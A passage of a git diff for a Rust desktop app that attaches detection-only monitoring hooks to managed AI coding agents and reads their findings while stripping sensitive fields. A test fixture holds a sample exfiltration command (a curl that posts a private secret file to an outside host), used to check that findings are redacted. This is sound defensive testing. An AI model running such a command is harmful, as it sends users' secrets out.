CURSOR_OFFSET_MASK, false) +} + +fn read_numbat_findings_from_path( + path: &Path, + requested_offset: u64, + expected_context: Option<(&str, &str, &str, &str)>, + health: NumbatGuardianHealth, +) -> Result { + let mut file = match File::open(path) { + Ok(file) => file, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + return Ok(NumbatFindingBatch { + next_offset: 0, + reset: requested_offset != 0, + rejected_records: 0, + health, + findings: Vec::new(), + }); + } + Err(error) => return Err(format!("failed to open Numbat records: {error}")), + }; + + let file_len = file + .metadata() + .map_err(|error| format!("failed to inspect Numbat records: {error}"))? + .len(); + let reset = requested_offset > file_len; + let mut offset = if reset { 0 } else { requested_offset }; + + if offset == 0 && file_len > MAX_BACKLOG_BYTES { + offset = align_to_next_record(&mut file, file_len - MAX_BACKLOG_BYTES)?; + } + + file.seek(SeekFrom::Start(offset)) + .map_err(|error| format!("failed to seek Numbat records: {error}"))?; + let mut bytes = Vec::with_capacity(MAX_BATCH_BYTES as usize); + file.take(MAX_BATCH_BYTES) + .read_to_end(&mut bytes) + .map_err(|error| format!("failed to read Numbat records: {error}"))?; + + let mut findings = Vec::new(); + let mut rejected_records = 0; + let mut line_start = 0; + let mut next_offset = offset; + + for (index, byte) in bytes.iter().enumerate() { + if *byte != b'\n' { + continue; + } + + let line = &bytes[line_start..index]; + next_offset = offset + index as u64 + 1; + line_start = index + 1; + + if line.is_empty() { + continue; + } + if line.len() > MAX_LINE_BYTES { + rejected_records += 1; + } else if let Some((agent_pubkey, session_id, channel_id, turn_id)) = expected_context { + if let Some(finding) = + project_finding(line, agent_pubkey, session_id, channel_id, turn_id) + { + findings.push(finding); + } + } else if serde_json::from_slice::(line).is_err() { + rejected_records += 1; + } + + if findings.len() + rejected_records >= MAX_RECORDS_PER_BATCH { + break; + } + } + + Ok(NumbatFindingBatch { + next_offset, + reset, + rejected_records, + health, + findings, + }) +} + +fn write_health(app: &AppHandle, agent_pubkey: &str, health: &NumbatGuardianHealth) { + let Ok(dir) = numbat_dir(app) else { + return; + }; + if std::fs::create_dir_all(&dir).is_err() || set_private_permissions(&dir, 0o700).is_err() { + return; + } + let Ok(path) = health_path(app, agent_pubkey) else { + return; + }; + if let Ok(bytes) = serde_json::to_vec(health) { + let _ = atomic_write_json_restricted(&path, &bytes); + } +} + +fn read_health(app: &AppHandle, agent_pubkey: &str) -> NumbatGuardianHealth { + if let Ok(path) = health_path(app, agent_pubkey) { + if let Ok(bytes) = std::fs::read(path) { + if let Ok(health) = serde_json::from_slice(&bytes) { + return health; + } + } + } + NumbatGuardianHealth { + state: "disconnected".into(), + detail: "Guardian has not been attached to this runtime yet.".into(), + } +} + +#[cfg(unix)] +fn set_private_permissions(path: &Path, mode: u32) -> Result<(), String> { + use std::os::unix::fs::PermissionsExt as _; + std::fs::set_permissions(path, std::fs::Permissions::from_mode(mode)) + .map_err(|error| format!("failed to protect Guardian storage: {error}")) +} + +#[cfg(not(unix))] +fn set_private_permissions(_path: &Path, _mode: u32) -> Result<(), String> { + Err("Guardian evidence storage is disabled because owner-only permissions are unavailable on this platform.".into()) +} + +fn enforce_continuous_retention(path: &Path) -> Result { + let file_len = match path.metadata() { + Ok(metadata) => metadata.len(), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(false), + Err(error) => return Err(format!("failed to inspect Guardian storage: {error}")), + }; + if file_len <= MAX_LOCAL_RECORD_BYTES { + return Ok(false); + } + + let mut source = File::open(path) + .map_err(|error| format!("failed to open Guardian storage for retention: {error}"))?; + let start = align_to_next_record(&mut source, file_len.saturating_sub(MAX_BACKLOG_BYTES))?; + source + .seek(SeekFrom::Start(start)) + .map_err(|error| format!("failed to seek Guardian storage for retention: {error}"))?; + let mut retained = Vec::with_capacity((file_len - start) as usize); + source + .read_to_end(&mut retained) + .map_err(|error| format!("failed to read Guardian storage for retention: {error}"))?; + + let temporary = path.with_extension("retention.tmp"); + let mut options = OpenOptions::new(); + options.create(true).truncate(true).write(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + let mut target = options + .open(&temporary) + .map_err(|error| format!("failed to create retained Guardian storage: {error}"))?; + target + .write_all(&retained) + .and_then(|()| target.sync_all()) + .map_err(|error| format!("failed to persist retained Guardian storage: {error}"))?; + set_private_permissions(&temporary, 0o600)?; + let previous = previous_findings_path(path); + if previous.exists() { + std::fs::remove_file(&previous) + .map_err(|error| format!("failed to expire prior Guardian storage: {error}"))?; + } + std::fs::rename(path, &previous) + .map_err(|error| format!("failed to preserve prior Guardian storage: {error}"))?; + std::fs::rename(&temporary, path) + .map_err(|error| format!("failed to replace Guardian storage after retention: {error}"))?; + Ok(true) +} + +fn read_previous_findings_tail( + path: &Path, + expected_context: Option<(&str, &str, &str, &str)>, + health: NumbatGuardianHealth, +) -> Result, String> { + let previous = previous_findings_path(path); + let file_len = match previous.metadata() { + Ok(metadata) => metadata.len(), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()), + Err(error) => return Err(format!("failed to inspect prior Guardian storage: {error}")), + }; + let mut file = File::open(&previous) + .map_err(|error| format!("failed to open prior Guardian storage: {error}"))?; + let offset = align_to_next_record(&mut file, file_len.saturating_sub(MAX_BATCH_BYTES))?; + read_numbat_findings_from_path(&previous, offset, expected_context, health) + .map(|batch| batch.findings) +} + +fn start_retention_worker(app: AppHandle, agent_pubkey: String) { + let workers = NUMBAT_RETENTION_WORKERS.get_or_init(|| Mutex::new(HashSet::new())); + let Ok(mut workers) = workers.lock() else { + return; + }; + if !workers.insert(agent_pubkey.clone()) { + return; + } + drop(workers); + + std::thread::spawn(move || loop { + std::thread::sleep(RETENTION_CHECK_INTERVAL); + let Ok(path) = numbat_findings_path(&app, &agent_pubkey) else { + return; + }; + if let Err(detail) = enforce_continuous_retention(&path) { + write_health( + &app, + &agent_pubkey, + &NumbatGuardianHealth { + state: "stale".into(), + detail, + }, + ); + } + }); +} + +fn run_numbat_install( + binary: &Path, + runtime: &str, + findings: &Path, + timeout: Duration, +) -> Result<(), String> { + let mut child = Command::new(binary) + .args([ + "hook", + "install", + "--agent", + runtime, + "--emit", + "findings", + "--output", + "file", + "--output-file", + ]) + .arg(findings) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .map_err(|error| format!("failed to configure Numbat: {error}"))?; + let started = Instant::now(); + loop { + match child.try_wait() { + Ok(Some(status)) if status.success() => return Ok(()), + Ok(Some(status)) => return Err(format!("Numbat hook install exited with {status}")), + Ok(None) if started.elapsed() < timeout => { + std::thread::sleep(Duration::from_millis(50)); + } + Ok(None) => { + let _ = child.kill(); + let _ = child.wait(); + return Err(format!( + "Numbat hook install timed out after {}s", + timeout.as_secs() + )); + } + Err(error) => { + let _ = child.kill(); + let _ = child.wait(); + return Err(format!("failed to wait for Numbat: {error}")); + } + } + } +} + +/// Idempotently attach Numbat's monitor-only callbacks outside the managed +/// runtime's spawn critical path. Numbat is callback-based (not a daemon), so +/// lifecycle management means keeping the hook and its local sink healthy. +fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) { + let runtime = match runtime { + "codex" | "claude" | "goose" => runtime, + _ => return, + }; + let Some(binary) = crate::managed_agents::resolve_command("numbat") else { + write_health( + app, + agent_pubkey, + &NumbatGuardianHealth { + state: "unsupported".into(), + detail: "Numbat is not installed on this device.".into(), + }, + ); + return; + }; + let result = (|| -> Result<(), String> { + let dir = numbat_dir(app)?; + std::fs::create_dir_all(&dir) + .map_err(|error| format!("failed to create Guardian storage: {error}"))?; + set_private_permissions(&dir, 0o700)?; + let findings = numbat_findings_path(app, agent_pubkey)?; + enforce_continuous_retention(&findings)?; + let mut options = OpenOptions::new(); + options.create(true).append(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + options + .open(&findings) + .map_err(|error| format!("failed to open Guardian storage: {error}"))?; + set_private_permissions(&findings, 0o600)?; + + let lock = NUMBAT_INSTALL_LOCK.get_or_init(|| Mutex::new(())); + let _guard = lock + .lock() + .map_err(|_| "Numbat installation lock is unavailable".to_string())?; + let findings_template = numbat_findings_template(app)?; + run_numbat_install(&binary, runtime, &findings_template, NUMBAT_INSTALL_TIMEOUT) + })(); + let health = match result { + Ok(()) => NumbatGuardianHealth { + state: "configured".into(), + detail: format!( + "{runtime} monitoring is configured in detection-only mode with findings isolated to this managed agent." + ), + }, + Err(detail) => NumbatGuardianHealth { + state: "disconnected".into(), + detail, + }, + }; + write_health(app, agent_pubkey, &health); + if health.state == "configured" { + if let Ok(path) = numbat_findings_path(app, agent_pubkey) { + let generation = findings_generation(&path).unwrap_or(0); + let offset = path.metadata().map(|metadata| metadata.len()).unwrap_or(0); + record_verification_baseline(agent_pubkey, generation, offset); + } + start_retention_worker(app.clone(), agent_pubkey.to_string()); + } +} + +pub(crate) fn prepare_numbat_monitoring_async( + app: AppHandle, + runtime: String, + agent_pubkey: String, +) { + std::thread::spawn(move || prepare_numbat_monitoring(&app, &runtime, &agent_pubkey)); +} + +/// Read and privacy-project a bounded batch of local Numbat finding records for +/// one managed agent. Raw commands, endpoint identity, paths, and evidence are +/// intentionally never represented in the return type. +#[tauri::command] +pub fn read_numbat_findings( + app: AppHandle, + agent_pubkey: String, + offset: Option, + session_id: Option, + channel_id: Option, + turn_id: Option, +) -> Result { + let path = numbat_findings_path(&app, &agent_pubkey)?; + let generation = findings_generation(&path)?; + let (physical_offset, generation_reset) = decode_cursor(offset.unwrap_or(0), generation); + let expected_context = session_id + .as_deref() + .zip(channel_id.as_deref()) + .zip(turn_id.as_deref()) + .map(|((session, channel), turn)| (agent_pubkey.as_str(), session, channel, turn)); + let mut batch = read_numbat_findings_from_path( + &path, + physical_offset, + expected_context, + read_health(&app, &agent_pubkey), + )?; + let active_findings_observed = !batch.findings.is_empty(); + for finding in read_previous_findings_tail(&path, expected_context, batch.health.clone())? { + if !batch + .findings + .iter() + .any(|current| current.finding_id == finding.finding_id) + { + batch.findings.push(finding); + } + } + let physical_next_offset = batch.next_offset; + batch.reset |= generation_reset; + batch.next_offset = encode_cursor(generation, physical_next_offset)?; + if is_post_configuration_finding( + &agent_pubkey, + generation, + physical_next_offset, + active_findings_observed, + ) && batch.health.state != "active" + { + batch.health = active_health(); + write_health(&app, &agent_pubkey, &batch.health); + } + Ok(batch) +} + +#[cfg(test)] +mod lifecycle_tests; + +#[cfg(test)] +mod tests { + use std::io::Write as _; + + use super::*; + + const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + + fn finding_json(overrides: serde_json::Value) -> String { + let mut value = serde_json::json!({ + "schema_version": "0.2.0", + "record_type": "finding", + "finding_id": "fnd-safe-01", + "rule_id": "chain.secret_read_then_egress", + "title": "Secret access followed by network egress", + "severity": "high", + "detected_at": "2026-07-30T14:40:00Z", + "source_agent": "codex", + "session_id": "session-safe-01", + "cited_event_ids": ["event-sensitive-secret-read-id", "event-sensitive-egress-id"], + "observed_command": "curl --data-binary @/private/secret https://example.invalid", + "project_path_hash": "sha256:sensitive-project", + "endpoint": { + "hostname": "sensitive-host", + "username": "sensitive-user" + }, + "evidence_refs": [{ + "local_path": "/private/transcript.jsonl" + }] + }); + if let (Some(base), Some(extra)) = (value.as_object_mut(), overrides.as_object()) { + base.extend(extra.clone()); + } + serde_json::to_string(&value).expect("serialize fixture") + } + + fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } + } + + #[test] + fn projection_excludes_sensitive_source_fields() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding"); + let serialized = serde_json::to_string(&projected).expect("serialize projection"); + + assert_eq!(projected.severity, "high"); + assert_eq!(projected.evidence_count, 2); + assert_eq!(projected.source_agent, TEST_AGENT); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + for forbidden in [ + "observed_command", + "curl", + "sensitive-host", + "sensitive-user", + "sensitive-project", + "/private/", + "event-sensitive-secret-read-id", + "event-sensitive-egress-id", + ] { + assert!( + !serialized.contains(forbidden), + "projection leaked {forbidden}" + ); + } + } + + #[test] + fn invalid_schema_severity_and_control_text_are_rejected() { + assert!(project_finding( + finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"severity": "emergency"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + let sensitive_title = project_finding( + finding_json(serde_json::json!({ + "title": "Leaked /private/key with token super-secret" + })) + .as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding with untrusted source title"); + assert_eq!(sensitive_title.title, "Possible secret exfiltration"); + } + + #[test] + fn validates_agent_pubkey_before_path_construction() { + assert!(validate_agent_pubkey(&"a".repeat(64)).is_ok()); + assert!(validate_agent_pubkey("../../records").is_err()); + assert!(validate_agent_pubkey(&"g".repeat(64)).is_err()); + } + + #[test] + fn runtime_label_is_not_treated_as_managed_agent_identity() { + let projected = project_finding( + finding_json(serde_json::json!({"source_agent": "claude-code"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding from agent-scoped file"); + + assert_eq!(projected.source_agent, TEST_AGENT); + } + + #[test] + fn reads_only_complete_records_and_advances_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let first = finding_json(serde_json::json!({"finding_id": "fnd-first"})); + let second = finding_json(serde_json::json!({"finding_id": "fnd-second"})); + { + let mut file = File::create(&path).expect("create"); + writeln!(file, "{first}").expect("write first"); + write!(file, "{second}").expect("write partial second"); + } + + let first_batch = read_numbat_findings_from_path( + &path, + 0, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("first batch"); + assert_eq!(first_batch.findings.len(), 1); + assert_eq!(first_batch.findings[0].finding_id, "fnd-first"); + + { + let mut file = std::fs::OpenOptions::new() + .append(true) + .open(&path) + .expect("append"); + writeln!(file).expect("complete second"); + } + let second_batch = read_numbat_findings_from_path( + &path, + first_batch.next_offset, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("second batch"); + assert_eq!(second_batch.findings.len(), 1); + assert_eq!(second_batch.findings[0].finding_id, "fnd-second"); + } + + #[test] + fn truncation_resets_a_stale_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + std::fs::write(&path, format!("{}\n", finding_json(serde_json::json!({})))).expect("write"); + + let batch = read_numbat_findings_from_path( + &path, + u64::MAX, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("batch"); + assert!(batch.reset); + assert_eq!(batch.findings.len(), 1); + } + + #[test] + fn continuous_retention_keeps_complete_recent_records() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + let newest = finding_json(serde_json::json!({"finding_id": "fnd-newest"})); + writeln!(file, "{newest}").expect("write newest"); + file.sync_all().expect("sync"); + drop(file); + + assert!(enforce_continuous_retention(&path).expect("retain")); + let retained = std::fs::read(&path).expect("read retained"); + let previous = std::fs::read(previous_findings_path(&path)).expect("read prior"); + assert!(retained.len() as u64 <= MAX_BACKLOG_BYTES + MAX_LINE_BYTES as u64); + assert!(retained.ends_with(format!("{newest}\n").as_bytes())); + assert!(previous.ends_with(format!("{newest}\n").as_bytes())); + assert!(!retained.starts_with(b"x")); + assert!(!enforce_continuous_retention(&path).expect("already bounded")); + } + + #[test] + fn cursor_resets_when_retention_replaces_the_file_generation() { + let cursor = encode_cursor(41, 12_345).expect("cursor"); + assert_eq!(decode_cursor(cursor, 41), (12_345, false)); + assert_eq!(decode_cursor(cursor, 42), (0, true)); + assert_eq!(decode_cursor(0, 42), (0, false)); + assert!(encode_cursor(1, CURSOR_OFFSET_MASK + 1).is_err()); + assert!(cursor <= (1_u64 << 53) - 1, "cursor must be exact in JS"); + } + + #[test] + fn projects_owner_observer_context_only_after_exact_session_match() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("matching context"); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + + assert!(project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "another-session", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"source_agent": "bad source"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + } +} diff --git a/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs new file mode 100644 index 0000000000..4ba3b0027c --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs @@ -0,0 +1,85 @@ +use std::{fs::File, io::Write as _}; + +use super::*; + +const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + +fn finding_json(finding_id: &str) -> String { + serde_json::json!({ + "schema_version": "0.2.0", + "record_type": "finding", + "finding_id": finding_id, + "rule_id": "chain.secret_read_then_egress", + "title": "Secret access followed by network egress", + "severity": "high", + "detected_at": "2026-07-30T14:40:00Z", + "source_agent": "codex", + "session_id": "session-safe-01", + "cited_event_ids": ["event-one", "event-two"] + }) + .to_string() +} + +fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } +} + +#[test] +fn retention_reader_preserves_a_record_appended_to_the_previous_generation() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + file.sync_all().expect("sync"); + drop(file); + + assert!(enforce_continuous_retention(&path).expect("retain")); + let late = finding_json("fnd-late-previous"); + { + let mut previous = OpenOptions::new() + .append(true) + .open(previous_findings_path(&path)) + .expect("open previous generation"); + writeln!(previous, "{late}").expect("append late record"); + } + + let findings = read_previous_findings_tail( + &path, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("read previous generation"); + assert!(findings + .iter() + .any(|finding| finding.finding_id == "fnd-late-previous")); + assert!(!std::fs::read_to_string(&path) + .expect("read current generation") + .contains("fnd-late-previous")); +} + +#[test] +fn activation_requires_a_valid_record_after_configuration_baseline() { + let agent = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + record_verification_baseline(agent, 7, 500); + assert!(!is_post_configuration_finding(agent, 7, 500, true)); + assert!(is_post_configuration_finding(agent, 7, 501, true)); + assert!(!is_post_configuration_finding(agent, 7, 600, false)); + assert!(!is_post_configuration_finding(agent, 8, 100, true)); + assert!(is_post_configuration_finding(agent, 8, 101, true)); + + let unseen_agent = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + assert!(!is_post_configuration_finding(unseen_agent, 11, 900, true)); + assert!(!is_post_configuration_finding(unseen_agent, 11, 900, true)); + assert!(is_post_configuration_finding(unseen_agent, 11, 901, true)); +} diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index c4b733e3e0..09c3c74180 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -88,9 +88,7 @@ fn reveal_initial_window(window: &tauri::Window) { #[cfg(target_os = "macos")] fn set_initial_window_backing(window: &tauri::Window) { - // The window remains transparent at runtime for vibrancy. Use an opaque - // native backing only across the first visible frames so the previous app - // cannot show through before WebKit has submitted its first surface. + // Use opaque native backing only for the first frames so the previous app cannot show through. if let Err(error) = window.set_background_color(Some(tauri::window::Color(17, 21, 24, 255))) { eprintln!("buzz-desktop: failed to set initial window backing: {error}"); } @@ -735,6 +733,7 @@ pub fn run() { sign_out, decrypt_observer_event, build_observer_control_event, + read_numbat_findings, create_auth_event, nip44_encrypt_to_self, nip44_decrypt_from_self, diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs index 592a5cbbd9..e034a45341 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars.rs @@ -63,6 +63,7 @@ pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ "BUZZ_API_TOKEN", "BUZZ_ACP_PRIVATE_KEY", "BUZZ_ACP_API_TOKEN", + "BUZZ_MANAGED_AGENT_PUBKEY", // Relay URL: overriding would let a malicious config redirect the // agent to an attacker-controlled relay. "BUZZ_RELAY_URL", @@ -71,6 +72,8 @@ pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ "BUZZ_ACP_AGENT_COMMAND", "BUZZ_ACP_AGENT_ARGS", "BUZZ_ACP_MCP_COMMAND", + "BUZZ_ACP_BROWSER_MCP_COMMAND", + "BUZZ_ACP_BROWSER_MCP_ARGS", // Security gates: respond-to mode + allowlist + legacy owner-only // fallback. Overriding would make the running agent's gate diverge // from the saved/UI-visible settings. diff --git a/desktop/src-tauri/src/managed_agents/readiness.rs b/desktop/src-tauri/src/managed_agents/readiness.rs index fa8eb36fa1..54a88d94b7 100644 --- a/desktop/src-tauri/src/managed_agents/readiness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness.rs @@ -47,12 +47,15 @@ use crate::managed_agents::{ discovery::{known_acp_runtime, KnownAcpRuntime}, env_vars::merged_user_env, global_config::GlobalAgentConfig, - normalize_agent_args, types::{AcpAvailabilityStatus, AgentDefinition, ManagedAgentRecord}, }; mod cli_login; pub(crate) mod cli_probe; +mod effective_harness; +pub(crate) use effective_harness::{ + resolve_effective_harness_descriptor, EffectiveHarnessDescriptor, GuardianPermissionPolicy, +}; // ── EffectiveAgentEnv ───────────────────────────────────────────────────────── @@ -78,101 +81,6 @@ pub(crate) struct EffectiveAgentEnv { pub effective_command: String, } -// ── Typed effective-harness descriptor ─────────────────────────────────────── -// -// A single owned type that fully describes what a spawn would run. Produced -// by `resolve_effective_harness_descriptor` and consumed by spawn_agent_child, -// spawn_config_hash, build_managed_agent_summary, get_agent_models, and -// agent_readiness — so the harness-definition lookup and arg/env resolution -// happen exactly once, in one place. - -/// The complete effective description of a harness spawn: resolved command, -/// args, and layered env. This is the single source of truth for what will -/// actually run — computed once and shared across every consumer that needs -/// the effective values. -#[derive(Debug, Clone)] -pub(crate) struct EffectiveHarnessDescriptor { - /// The raw effective command string (e.g. `"buzz-agent"`, `"my-acp-agent"`). - /// Used for `known_acp_runtime` lookup and hashing. - pub command: String, - /// Normalized effective args. Instance args win when non-empty; otherwise - /// the harness definition's args apply. - pub args: Vec, - /// The full layered process env: baked floor → runtime metadata → definition - /// env → global → persona → agent. - pub env: BTreeMap, -} - -/// Resolve the complete harness descriptor from a record + context — the single -/// authoritative path for command, args, and env. -/// -/// This is the only place where harness-definition lookup and arg/env layering -/// happen; spawn, hash, summary, and both model-probe paths all consume this. -/// -/// Returns `Err("DANGLING_HARNESS_ID:")` when the record (or its linked -/// persona) references a runtime id that no longer exists in the registry — -/// the same typed error produced by `try_record_agent_command`. Callers that -/// cannot meaningfully continue with a dangling id (e.g. `spawn_agent_child`) -/// propagate the error; callers that degrade gracefully may use -/// `.unwrap_or_else(|_| …)`. -/// -/// Does NOT require an `AppHandle` so it is fully unit-testable. -/// -/// # Arguments -/// * `record` — the managed agent record -/// * `personas` — all current personas (for command/env resolution) -/// * `global` — global agent config defaults -pub(crate) fn resolve_effective_harness_descriptor( - record: &ManagedAgentRecord, - personas: &[crate::managed_agents::types::AgentDefinition], - global: &crate::managed_agents::GlobalAgentConfig, -) -> Result { - let effective_command = crate::managed_agents::try_record_agent_command(record, personas)?; - let runtime_meta = known_acp_runtime(&effective_command); - - // Look up the harness definition once — used for both args and env. - // Resolution order: record.runtime → persona.runtime → "". - let harness_def = { - let runtime_id = record - .runtime - .as_deref() - .or_else(|| { - record.persona_id.as_deref().and_then(|pid| { - personas - .iter() - .find(|p| p.id == pid) - .and_then(|p| p.runtime.as_deref()) - }) - }) - .unwrap_or(""); - crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) - }; - - // Args: explicit non-empty instance args win; otherwise use definition args. - let args = { - let record_args = record.agent_args.clone(); - let instance_has_args = record_args.iter().any(|a| !a.trim().is_empty()); - if instance_has_args { - normalize_agent_args(&effective_command, record_args) - } else if let Some(ref def) = harness_def { - normalize_agent_args(&effective_command, def.args.clone()) - } else { - normalize_agent_args(&effective_command, record_args) - } - }; - - // Env: full layered resolution (same as resolve_effective_agent_env). - // Pass harness_def directly to avoid a second lookup. - let effective_env = - resolve_effective_agent_env_with_def(record, personas, runtime_meta, global, harness_def); - - Ok(EffectiveHarnessDescriptor { - command: effective_command, - args, - env: effective_env.env, - }) -} - /// Assemble the effective agent env from a record, personas, optional /// known-runtime metadata, and the global agent config defaults — without an /// `AppHandle` so it is fully unit-testable. diff --git a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs new file mode 100644 index 0000000000..dac8cd4200 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs @@ -0,0 +1,153 @@ +use std::collections::BTreeMap; + +use crate::managed_agents::{ + discovery::known_acp_runtime, normalize_agent_args, types::ManagedAgentRecord, +}; + +use super::resolve_effective_agent_env_with_def; + +/// The complete effective description of a harness spawn. +#[derive(Debug, Clone)] +pub(crate) struct EffectiveHarnessDescriptor { + pub command: String, + pub args: Vec, + pub env: BTreeMap, + /// Resolved separately so generic environment layering cannot weaken it. + pub guardian_policy: GuardianPermissionPolicy, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub(crate) enum GuardianPermissionPolicy { + Monitor, + Lockdown, +} + +impl GuardianPermissionPolicy { + pub(crate) fn as_env_value(self) -> &'static str { + match self { + Self::Monitor => "default", + Self::Lockdown => "dont-ask", + } + } +} + +fn resolve_guardian_policy<'a>( + layers: impl IntoIterator>, +) -> GuardianPermissionPolicy { + let lockdown_selected = layers.into_iter().any(|env| { + env.iter().any(|(key, value)| { + key.eq_ignore_ascii_case("BUZZ_ACP_PERMISSION_MODE") + && matches!( + value.trim().to_ascii_lowercase().as_str(), + "dont-ask" | "dontask" | "plan" + ) + }) + }); + if lockdown_selected { + GuardianPermissionPolicy::Lockdown + } else { + GuardianPermissionPolicy::Monitor + } +} + +/// Resolve command, arguments, generic environment, and authoritative policy. +pub(crate) fn resolve_effective_harness_descriptor( + record: &ManagedAgentRecord, + personas: &[crate::managed_agents::types::AgentDefinition], + global: &crate::managed_agents::GlobalAgentConfig, +) -> Result { + let effective_command = crate::managed_agents::try_record_agent_command(record, personas)?; + let runtime_meta = known_acp_runtime(&effective_command); + let harness_def = { + let runtime_id = record + .runtime + .as_deref() + .or_else(|| { + record.persona_id.as_deref().and_then(|pid| { + personas + .iter() + .find(|p| p.id == pid) + .and_then(|p| p.runtime.as_deref()) + }) + }) + .unwrap_or(""); + crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) + }; + let args = { + let record_args = record.agent_args.clone(); + let instance_has_args = record_args.iter().any(|arg| !arg.trim().is_empty()); + if instance_has_args { + normalize_agent_args(&effective_command, record_args) + } else if let Some(ref definition) = harness_def { + normalize_agent_args(&effective_command, definition.args.clone()) + } else { + normalize_agent_args(&effective_command, record_args) + } + }; + let live_persona = record + .persona_id + .as_deref() + .and_then(|id| personas.iter().find(|persona| persona.id == id)); + let guardian_policy = resolve_guardian_policy( + harness_def + .iter() + .map(|definition| &definition.env) + .chain(std::iter::once(&global.env_vars)) + .chain(live_persona.map(|persona| &persona.env_vars)) + .chain(std::iter::once(&record.env_vars)), + ); + let mut effective_env = + resolve_effective_agent_env_with_def(record, personas, runtime_meta, global, harness_def); + effective_env + .env + .retain(|key, _| !key.eq_ignore_ascii_case("BUZZ_ACP_PERMISSION_MODE")); + + Ok(EffectiveHarnessDescriptor { + command: effective_command, + args, + env: effective_env.env, + guardian_policy, + }) +} + +#[cfg(test)] +mod tests { + use super::{resolve_guardian_policy, GuardianPermissionPolicy}; + use std::collections::BTreeMap; + + fn layer(value: &str) -> BTreeMap { + BTreeMap::from([("BUZZ_ACP_PERMISSION_MODE".to_string(), value.to_string())]) + } + + #[test] + fn lower_layers_cannot_weaken_lockdown() { + for lockdown_index in 0..4 { + let mut layers = vec![layer("bypass-permissions"); 4]; + layers[lockdown_index] = 